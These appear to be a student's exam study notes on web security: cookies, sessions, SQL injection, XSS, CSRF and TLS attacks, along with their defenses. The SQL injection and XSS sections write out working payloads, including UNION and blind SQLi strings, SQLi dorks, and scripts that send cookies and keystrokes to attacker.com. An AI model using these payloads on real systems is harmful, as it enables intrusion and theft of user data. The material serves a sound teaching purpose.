Definition - Small text files stored by browser - Sent with every request to domain - Key-value pairs

Purpose: - Session management - Personalization - Tracking

Cookie Attributes

1. Domain - Which domains can access cookie - Example: `Domain=example.com` - Subdomains included: `sub.example.com`

2. Path - Which paths within domain - Example: `Path=/shop` - Only sent for `/shop` and subdirectories

3. Expires / Max-Age - When cookie expires - Session cookie: Deleted when browser closes - Persistent cookie: Has expiration date - Example: `Expires=Wed, 21 Oct 2025 07:28:00 GMT`

4. Secure - Cookie only sent over HTTPS - Prevents interception over unencrypted connections - **Critical for sensitive cookies**

5. HttpOnly - Cookie not accessible via JavaScript - Prevents XSS-based cookie theft - `document.cookie` cannot read it - **Important security feature**

6. SameSite - Controls cross-site cookie sending - Values: - **Strict**: Never sent cross-site - **Lax**: Sent on top-level navigation (links) - **None**: Always sent (requires Secure) - **CSRF protection**

Example Cookie:

```
Set-Cookie: sessionid=abc123; Secure; HttpOnly; SameSite=Strict; Path=/; Max-Age=3600
```

Cookie Types

First-Party Cookies - Set by website you're visiting - Same domain as URL - Used for functionality

Third-Party Cookies - Set by different domain (ads, analytics) - Used for tracking across sites - Privacy concerns - Being phased out by browsers

Session Cookies - Temporary, deleted when browser closes - No Expires/Max-Age attribute

Persistent Cookies - Remain after browser closes - Has expiration date - Used for "Remember Me" features

Session Management

Session ID - Unique identifier for user session - Stored in cookie or URL - Server maintains session data - Links requests to user state

Session Flow: 1. User logs in 2. Server creates session ID 3. Session ID sent to client (cookie) 4. Client includes session ID in subsequent requests 5. Server validates session ID and retrieves user data

Session Security Best Practices: - Use HTTPS (Secure flag) - HttpOnly flag (prevent XSS theft) - Regenerate session ID after login - Set reasonable timeout - Invalidate on logout - Use unpredictable session IDs

Hidden Form Fields

Purpose - Pass state information between requests - Store data temporarily on client

Example:

```
<form method="POST">
  <input type="hidden" name="user_id" value="12345">
  <input type="hidden" name="token" value="abc...xyz">
</form>
```

Limitations: - Visible in page source - Can be modified by client - Not encrypted (unless HTTPS) - Only works within form submission

Use Cases: - CSRF tokens - Multi-step forms - Passing non-sensitive data

Browser Fingerprinting

Definition - Tracking users without cookies - Based on browser/device characteristics

Attributes Used: - Screen resolution - Installed fonts - Browser plugins - Canvas fingerprinting - WebGL information - Timezone - Language settings - User-Agent string - Audio context

Characteristics: - No storage on client - Difficult to detect - Hard to prevent - Privacy concern

Difference from Cookies: - Cookies: Store data on client - Fingerprinting: Collect client characteristics

Tracking and Privacy

Tracking Mechanisms: 1. Third-party cookies 2. Browser fingerprinting 3. Tracking pixels 4. Supercookies 5. Device fingerprinting

Privacy Protections: - Cookie consent laws (GDPR) - Browser tracking prevention - Private browsing modes - Cookie blockers - VPN usage

---

## 14. SQL Injection

What is SQL Injection?

Definition - Injection attack on database-driven applications - Attacker inserts malicious SQL code - Exploits improper input handling - **Most common web vulnerability**

Impact: - Data theft (confidentiality breach) - Data modification/deletion (integrity breach) - Authentication bypass - Server compromise

Vulnerable Code Example

```
$id = $_GET['id'];
$query = "SELECT * FROM users WHERE id = '$id'";
$result = mysqli_query($conn, $query);
```

Why vulnerable? - User input directly concatenated into SQL - No validation or sanitization - Attacker controls part of SQL query

SQL Injection Types

1. Error-Based SQL Injection

Characteristics: - Database error messages displayed to user - Errors reveal database structure - Attackers use errors to extract information

Example:

```
URL: example.com/page?id=5'
Error: "You have an error in your SQL syntax near ''5'' at line 1"
```

Exploitation: - Reveals table names, column names - Shows SQL syntax being used - Helps craft further attacks

Requirement: Verbose error handling enabled

2. UNION-Based SQL Injection

Purpose: Extract data from other tables

Requirements: 1. Same number of columns in both SELECT statements 2. Compatible data types

Discovery Phase - ORDER BY:

```
' ORDER BY 1--     No error
' ORDER BY 2--     No error
' ORDER BY 3--     No error
' ORDER BY 4--     Error
```

Conclusion: Original query has 3 columns

Exploitation Phase - UNION SELECT:

```
' UNION SELECT username, password, email FROM users--
' UNION SELECT version(), database(), user()--
' UNION SELECT 1, 2, table_name FROM information_schema.tables--
```

Common Payloads: - `version()`: Database version - `database()`: Current database name - `user()`: Current user - `information_schema.tables`: All table names - `information_schema.columns`: All column names

3. Blind SQL Injection

Definition: No direct output or error messages

Types:

A. Boolean-Based Blind - Application shows different responses for true/false - Page content changes based on condition

Example:

```
' AND 1=1--     → Normal page (TRUE)
' AND 1=2--     → Different page or error (FALSE)
```

Exploitation:

```
' AND SUBSTRING(database(),1,1)='a'--    → Check first character
' AND SUBSTRING(database(),2,1)='d'--    → Check second character
' AND LENGTH(database())=5--             → Check length
```

B. Time-Based Blind - Application response time differs - No visible output change - Uses sleep/delay functions

Example:

```
' AND IF(1=1, SLEEP(5), 0)--    → Delays 5 seconds (TRUE)
' AND IF(1=2, SLEEP(5), 0)--    → No delay (FALSE)
```

Exploitation:

```
' AND IF(SUBSTRING(database(),1,1)='a', SLEEP(5), 0)--
```

Identification: Response delay indicates success

4. Second-Order SQL Injection

Characteristics: - Payload stored in database - Executed later in different context - Delayed exploitation

Example: 1. User registers with username: `admin'--` 2. Username stored in database 3. Later, admin views user list: `sql    SELECT * FROM logs WHERE user = 'admin'--'` 4. SQL injection triggered

Why dangerous: Bypasses input validation at entry point

SQL Injection Techniques

Authentication Bypass:

```
Username: admin'--
Password: anything

Query becomes:
SELECT * FROM users WHERE username='admin'--' AND password='...'
(Password check commented out)
```

Common Payloads: - `' OR '1'='1` - `' OR 1=1--` - `admin'--` - `' OR 'a'='a`

Google Dorking for SQLi

Purpose: Find vulnerable pages during reconnaissance

Search Queries: - `inurl:php?id=` - `inurl:page.php?id=` - `inurl:news.php?id=` - `inurl:product.php?id=` - `site:target.com inurl:php?id=`

Why effective: Identifies pages with URL parameters

SQL Injection Prevention

1. Prepared Statements (Parameterized Queries)

Best Defense: Treats user input as data, not code

PHP Example (MySQLi):

```php
$stmt = $conn->prepare("SELECT * FROM users WHERE id = ?");
$stmt->bind_param("i", $id);
$stmt->execute();
```

PHP Example (PDO):

```php
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id");
$stmt->execute(['id' => $id]);
```

How it works: 1. **Parse/Precompile**: SQL structure parsed first 2. **Bind Parameters**: User input added as data 3. **Execute**: Query runs with data, not code

Why it works: Input cannot alter SQL structure

Limitation: Cannot parameterize table/column names

```php
// Still vulnerable if $table is user input
$stmt = $pdo->prepare("SELECT * FROM $table WHERE id = ?");
```

2. Input Validation (Whitelisting)

Approach: Accept only known-good input

Example:

```php
if (!ctype_digit($id)) {
    die("Invalid ID");
}

$allowed_tables = ['users', 'products', 'orders'];
if (!in_array($table, $allowed_tables)) {
    die("Invalid table");
}
```

Advantage: More restrictive than blacklisting

3. Input Escaping

Approach: Escape special characters

Example:

```
$id = mysqli_real_escape_string($conn, $id);
```

Characters escaped: `'`, `"`, `\`, NULL

Limitation: Not as robust as prepared statements

4. Least Privilege

Principle: Database user has minimum permissions

Example: - Web application uses account with only SELECT permission - Cannot DROP tables even if SQL injection succeeds - Separate accounts for different functions

5. Error Handling

Don't reveal database details:

```
// Bad
die($conn->error);

// Good
error_log($conn->error);
die("An error occurred");
```

Disable verbose errors in production

Why Blacklisting Fails

Blacklist Approach: Block known bad patterns

Problems: - Endless variations: `' OR '1'='1`, `' OR 1=1`, `' OR true--` - Case variations: `oR`, `Or`, `OR` - Encoding: URL encoding, Unicode, hex - Null bytes: `' %00` - Comments: `'/**/OR/**/1=1`

Conclusion: Impossible to block all variations

## 15. XSS & CSRF

Cross-Site Scripting (XSS)

What is XSS?

Definition - Injection of malicious scripts into web pages - Scripts execute in victim's browser - Runs with victim's origin and privileges

Impact: - Cookie theft (session hijacking) - Keylogging - Phishing - Defacement - Malware distribution

Same-Origin Policy (SOP) Foundation

Origin Definition: Protocol + Host + Port

```
https://example.com:443/page
[protocol]  [host]    [port]
```

Same Origin Examples: - `http://example.com/page1` and `http://example.com/page2` - `https://example.com` and `https://example.com:443`

Different Origin Examples: - `http://example.com` and `https://example.com` (protocol) - `http://example.com` and `http://sub.example.com` (host) - `http://example.com:80` and `http://example.com:8080` (port)

What SOP Restricts: - JavaScript accessing DOM of different origin - Reading responses from different origin - Cookie access across origins

What SOP Allows: - Sending requests cross-origin (CSRF exploits this!) - Loading images, scripts from different origins - Form submissions to different origins

How XSS Subverts SOP

Key Point: Injected script executes with **page's origin**

Example: - Attack injected into `bank.com` - Script runs as if it came from `bank.com` - Can access `bank.com` cookies - Can make requests to `bank.com` with victim's credentials

Why dangerous: Script inherits all privileges of the page

XSS Types

1. Stored XSS (Persistent)

Characteristics: - Malicious script **stored on server** (database) - Permanently part of page - Affects all users who view the page - **Most dangerous** type

Example Flow: 1. Attacker posts comment: `<script>steal_cookies()</script>` 2. Comment stored in database 3. Victim visits page, views comments 4. Script executes in victim's browser 5. Cookies sent to attacker

Common Locations: - Forum posts - User profiles - Product reviews - Blog comments - Guest books

Example:

```
<!-- Vulnerable PHP -->
<?php
$comment = $_POST['comment'];
mysqli_query($conn, "INSERT INTO comments VALUES ('$comment')");
?>

<!-- Later displayed as: -->
<div class="comment"><?php echo $comment; ?></div>
```

2. Reflected XSS (Non-Persistent)

Characteristics: - Script **not stored**, immediately echoed back - Requires victim to click malicious link - One-time attack per victim

Example Flow: 1. Attacker crafts malicious URL: `example.com/search?q=<script>steal_cookies()</scr` 2. Victim clicks link (phishing email, forum post) 3. Server reflects input in response 4. Script executes in victim's browser

Vulnerable Code:

```
$search = $_GET['q'];
echo "You searched for: " . $search;
```

Attack URL:

```
search.php?q=<script>document.location='http://attacker.com?c='+document.cookie</script>
```

3. DOM-Based XSS

Characteristics: - Vulnerability in client-side JavaScript - Never sent to server - Manipulates DOM directly

Example:

```
<script>
var name = document.location.hash.substring(1);
document.write("Welcome " + name);
</script>
```

Attack URL:

```
page.html#<script>steal_cookies()</script>
```

Why dangerous: Bypasses server-side protections

XSS Payloads

Cookie Theft:

```
<script>
fetch('http://attacker.com?c=' + document.cookie);
</script>
```

Keylogger:

```
<script>
document.onkeypress = function(e) {
    fetch('http://attacker.com?key=' + e.key);
}
</script>
```

Phishing:

```
<script>
document.body.innerHTML = '<form action="http://attacker.com">...</form>';
</script>
```

Session Hijacking:

```
<script>
new Image().src='http://attacker.com?s='+document.cookie;
</script>
```

XSS Prevention

1. Output Encoding/Escaping

Encode user input before displaying:

HTML Entity Encoding:

```
< → &lt;
> → &gt;
" → &quot;
' → &#x27;
& → &amp;
```

PHP Example:

```
echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');
```

JavaScript Context:

```
// Don't do this:
var user = "<?php echo $username; ?>";

// Do this:
var user = <?php echo json_encode($username); ?>;
```

Context Matters: - HTML context: HTML encode - JavaScript context: JavaScript encode - URL context: URL encode - CSS context: CSS encode

2. Content Security Policy (CSP)

Purpose: Restricts what resources can load/execute

HTTP Header:

```
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.com
```

Directives: - `default-src`: Default policy - `script-src`: Where scripts can load from - `style-src`: Where styles can load from - `img-src`: Where images can load from - `frame-src`: What can be embedded in frames

Special Keywords: - `'self'`: Same origin only - `'none'`: Block everything - `'unsafe-inline'`: Allow inline scripts (avoid!) - `'unsafe-eval'`: Allow eval() (avoid!)

Benefits: - Blocks inline scripts (defeats most XSS) - Prevents loading untrusted resources - Report-only mode for testing

Example:

```
Content-Security-Policy:
    default-src 'self';
    script-src 'self' https://apis.google.com;
    img-src *;
    frame-src 'none';
```

3. Input Validation

Whitelist Approach:

```
if (!preg_match('/^[a-zA-Z0-9]+$/', $username)) {
    die("Invalid username");
}
```

Sanitization:

```
$clean = strip_tags($input);  // Remove HTML tags
```

Limitation: Filters can often be bypassed

Examples of Bypasses: - `<script>` → `<ScRiPt>` - `<script>` → `<scr<script>ipt>` - `<script>` → `<iframe>`, `<img onerror=>`

Conclusion: Encoding is more reliable than filtering

4. HttpOnly Cookie Flag

Purpose: Prevent JavaScript access to cookies

```
Set-Cookie: sessionid=abc123; HttpOnly; Secure
```

Protection: Even if XSS occurs, `document.cookie` returns empty

Limitation: Doesn't prevent all XSS damage (keyloggers, phishing)

5. X-XSS-Protection Header (Deprecated)

Legacy browser feature:

`X-XSS-Protection: 1; mode=block`

Status: Deprecated, use CSP instead

Cross-Site Request Forgery (CSRF)

What is CSRF?

Definition - Forces victim to execute unwanted actions - Exploits browser's automatic credential inclusion - Victim must be authenticated

Key Insight: Browsers automatically send cookies with requests

How CSRF Works

Attack Flow: 1. Victim logs into `bank.com` 2. Browser stores session cookie 3. Victim visits `evil.com` (without logging out) 4. `evil.com` contains: `html <img src="https://bank.com/transfer?to=attacker&amount=1000">` 5. Browser automatically sends cookie with request 6. Bank transfers money (thinks it's legitimate request)

Why SOP Doesn't Stop CSRF: - SOP prevents **reading** cross-origin responses - SOP does **NOT** prevent **sending** cross-origin requests - Requests still include cookies

CSRF Attack Examples

GET Request Attack:

```html
<img src="https://bank.com/transfer?to=attacker&amount=1000">
<iframe src="https://bank.com/delete-account"></iframe>
```

POST Request Attack:

```html
<form id="csrf" action="https://bank.com/transfer" method="POST">
    <input name="to" value="attacker">
    <input name="amount" value="1000">
</form>
<script>document.getElementById('csrf').submit();</script>
```

Auto-Submit Form:

```html
<body onload="document.forms[0].submit()">
<form action="https://victim.com/change-email" method="POST">
    <input name="email" value="attacker@evil.com">
```

```
</form>
</body>
```

CSRF vs XSS

Differences:

Feature	CSRF	XSS
Script Execution	No	Yes
Steals Data	No	Yes
User Action	Required (visit page)	Required (view content)
Same-Origin	Cross-origin	Same-origin
Defense	CSRF tokens	Output encoding, CSP

XSS can perform CSRF: If XSS exists, CSRF protections can be bypassed

CSRF Prevention

1. Synchronizer Token Pattern (CSRF Tokens)

Concept: Include unpredictable token in requests

Implementation: 1. Server generates unique token per session/request 2. Token embedded in forms 3. Server validates token on submission

HTML Form:

```
<form action="/transfer" method="POST">
    <input type="hidden" name="csrf_token" value="random_unique_token">
    <input name="amount" value="100">
    <button>Transfer</button>
</form>
```

Server Validation (PHP):

```
if ($_POST['csrf_token'] !== $_SESSION['csrf_token']) {
    die("CSRF attack detected");
}
```

Token Requirements: - Unique per session (or per request) - Unpredictable (cryptographically random) - Not stored in cookies - Validated on server

Why it works: Attacker cannot guess/obtain token

2. Double Submit Cookie

Concept: Send token in both cookie and request

Implementation: 1. Server sets cookie: `csrf_token=random_value` 2. Form includes same value: `html <input type="hidden" name="csrf_token" value="random_value">` 3. Server compares cookie value with request value

Advantage: No server-side session storage needed

Validation:

```
if ($_COOKIE['csrf_token'] !== $_POST['csrf_token']) {
    die("CSRF attack detected");
}
```

Why it works: Attacker cannot read victim's cookies (SOP)

3. SameSite Cookie Attribute

Purpose: Control when cookies are sent

Values:

SameSite=Strict - Cookie **never** sent on cross-site requests - Sent only when navigating to origin site - **Strongest protection** - May affect usability

```
Set-Cookie: sessionid=abc; SameSite=Strict
```

Example: - User on `social.com`, clicks link to `bank.com` - Session cookie NOT sent - User must login again

SameSite=Lax - Cookie sent on top-level navigation (clicking links) - Cookie NOT sent on: - Cross-site POST - Embedded requests (images, iframes) - **Good balance** between security and usability

```
Set-Cookie: sessionid=abc; SameSite=Lax
```

SameSite=None - Cookie always sent - Must include `Secure` flag - Used for third-party integrations

```
Set-Cookie: tracking=xyz; SameSite=None; Secure
```

Browser Support: Modern browsers default to `Lax`

4. Referer Validation

Concept: Check HTTP Referer header

Implementation:

```
$referer = $_SERVER['HTTP_REFERER'];
if (strpos($referer, 'https://trusted-site.com') !== 0) {
    die("Invalid referer");
}
```

Problems: - Referer can be omitted (privacy settings, HTTPS→HTTP) - Referer can be spoofed in some cases - Not reliable alone

Use as secondary defense, not primary

5. Custom Headers

Concept: Require custom header for state-changing requests

Example:

```
fetch('/transfer', {
    method: 'POST',
    headers: {
        'X-Requested-With': 'XMLHttpRequest',
        'X-CSRF-Token': token
    },
    body: formData
});
```

Why it works: Simple forms can't set custom headers

Limitation: Only works for AJAX requests

6. Re-authentication

For critical actions: Require password

Example:

```
<form action="/delete-account" method="POST">
    <input type="password" name="confirm_password" required>
    <button>Delete Account</button>
</form>
```

Use for: - Account deletion - Password changes - Large transactions

Best CSRF Defense Strategy

Multi-layered approach: 1. **Primary**: CSRF tokens (Synchronizer Token or Double Submit) 2. **Secondary**: SameSite=Lax or Strict 3. **Tertiary**: Re-authentication for critical actions 4. **Support**: Referer validation

Combined Example:

```
Set-Cookie: sessionid=abc; Secure; HttpOnly; SameSite=Lax
<form>
    <input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>">
    ...
</form>
```

Additional Web Security Topics

SSL Stripping

Attack: Force HTTPS connection to downgrade to HTTP

How it works: 1. User types `bank.com` (no https://) 2. Attacker intercepts (man-in-the-middle) 3. Attacker establishes HTTPS with bank 4. Attacker sends HTTP to user 5. User communicates over HTTP (unencrypted)

Requirements: - Man-in-the-middle position - User doesn't notice lack of HTTPS - Initial request is HTTP

Defense - HSTS (HTTP Strict Transport Security):

```
Strict-Transport-Security: max-age=31536000; includeSubDomains
```

What HSTS does: - Browser remembers to always use HTTPS - Automatic HTTP→HTTPS upgrade - Rejects invalid certificates - Prevents SSL stripping

Limitation: First visit vulnerable (HSTS preload list solves this)

TLS Downgrade Attack

Attack: Force use of older, weaker TLS/SSL version

Target: SSL 2.0, SSL 3.0 (POODLE vulnerability)

How it works: 1. Attacker intercepts TLS handshake 2. Modifies supported version list 3. Forces fallback to weak protocol

Defense: - Disable SSLv2, SSLv3, TLS 1.0, TLS 1.1 - Use only TLS 1.2 and TLS 1.3 - Implement TLS_FALLBACK_SCSV

Mixed Content

Definition: HTTPS page loads HTTP resources

Types:

Passive Mixed Content: - Images, audio, video over HTTP - Low risk (can't access page context) - Browsers may warn

Active Mixed Content: - Scripts, stylesheets, iframes over HTTP - **High risk**: Can modify page - Browsers block by default

Example:

```html
<!-- HTTPS page at https://secure.com -->
<img src="http://cdn.com/image.jpg">  <!-- Passive -->
<script src="http://cdn.com/script.js"></script>  <!-- Active - BLOCKED -->
```

Problems: - HTTP resources can be intercepted - Attacker can inject malicious code - User sees security warnings - SEO penalties

Defense: - Use HTTPS for all resources - Use protocol-relative URLs: `//cdn.com/script.js` - Content-Security-Policy: `upgrade-insecure-requests`

Form Submission Over HTTP:

```html
<!-- HTTPS page -->
<form action="http://site.com/login" method="POST">
```

Problem: Credentials sent unencrypted (even though page is HTTPS)

Key Exam Formulas & Calculations

Biometric Calculations

False Acceptance in Identification:

```
P(at least one FA)   N × FAR_per_match  (for small FAR)
P(at least one FA) = 1 - (1 - FAR)^N    (exact)
```

Expected False Acceptances:

```
Expected FA = Number_of_attempts × FAR
```

Expected False Rejections:

```
Expected FR = Number_of_legitimate_users × FRR
```

Threshold Effects

Lower threshold → ↑FAR, ↓FRR **Higher threshold** → ↓FAR, ↑FRR

Quick Reference Tables

Access Control Models

Model	Who Decides	Flexibility	Security	Best For
DAC	Owner	High	Low	Personal files
MAC	System	Low	High	Military, classified
RBAC	Admin	Medium	Medium	Organizations
ABAC	Policy	High	High	Complex rules

Cookie Attributes for Security

Attribute	Purpose	Values
Secure	HTTPS only	flag

Attribute	Purpose	Values
HttpOnly	No JavaScript access	flag
SameSite	CSRF protection	Strict/Lax/None
Domain	Scope	domain name
Path	Scope	path
Expires	Lifetime	date

Defense Comparison

Vulnerability	Primary Defense	Secondary Defense
SQL Injection	Prepared Statements	Input Validation
XSS	Output Encoding	CSP
CSRF	CSRF Tokens	SameSite Cookies
Session Hijacking	HTTPS + Secure flag	Session regeneration

Common Exam Pitfalls

1. **Biometrics**: Remember FAR risk increases with database size in identification mode
2. **CSRF vs XSS**: CSRF doesn't execute scripts, XSS does
3. **SameSite=Strict vs Lax**: Strict never sent cross-site, Lax allows top-level navigation
4. **Prepared Statements**: Can't parameterize table/column names
5. **SOP**: Blocks reading responses, NOT sending requests
6. **HTTPS**: Doesn't protect against application vulnerabilities
7. **Least Privilege**: Applies to users AND service accounts
8. **MAC vs DAC**: MAC = system enforced, DAC = owner decides

---

Study Tips

1. **Understand concepts**, don't just memorize
2. **Practice calculations** for biometric FAR/FRR
3. **Compare and contrast**: DoS vs DDoS, XSS vs CSRF, DAC vs MAC
4. **Know defense mechanisms** for each attack type
5. **Understand why defenses work**, not just what they are
6. **Focus on practical examples** from the mock exam
7. **Review headers and their purposes**
8. **Understand trade-offs**: security vs usability

Good luck with your exam!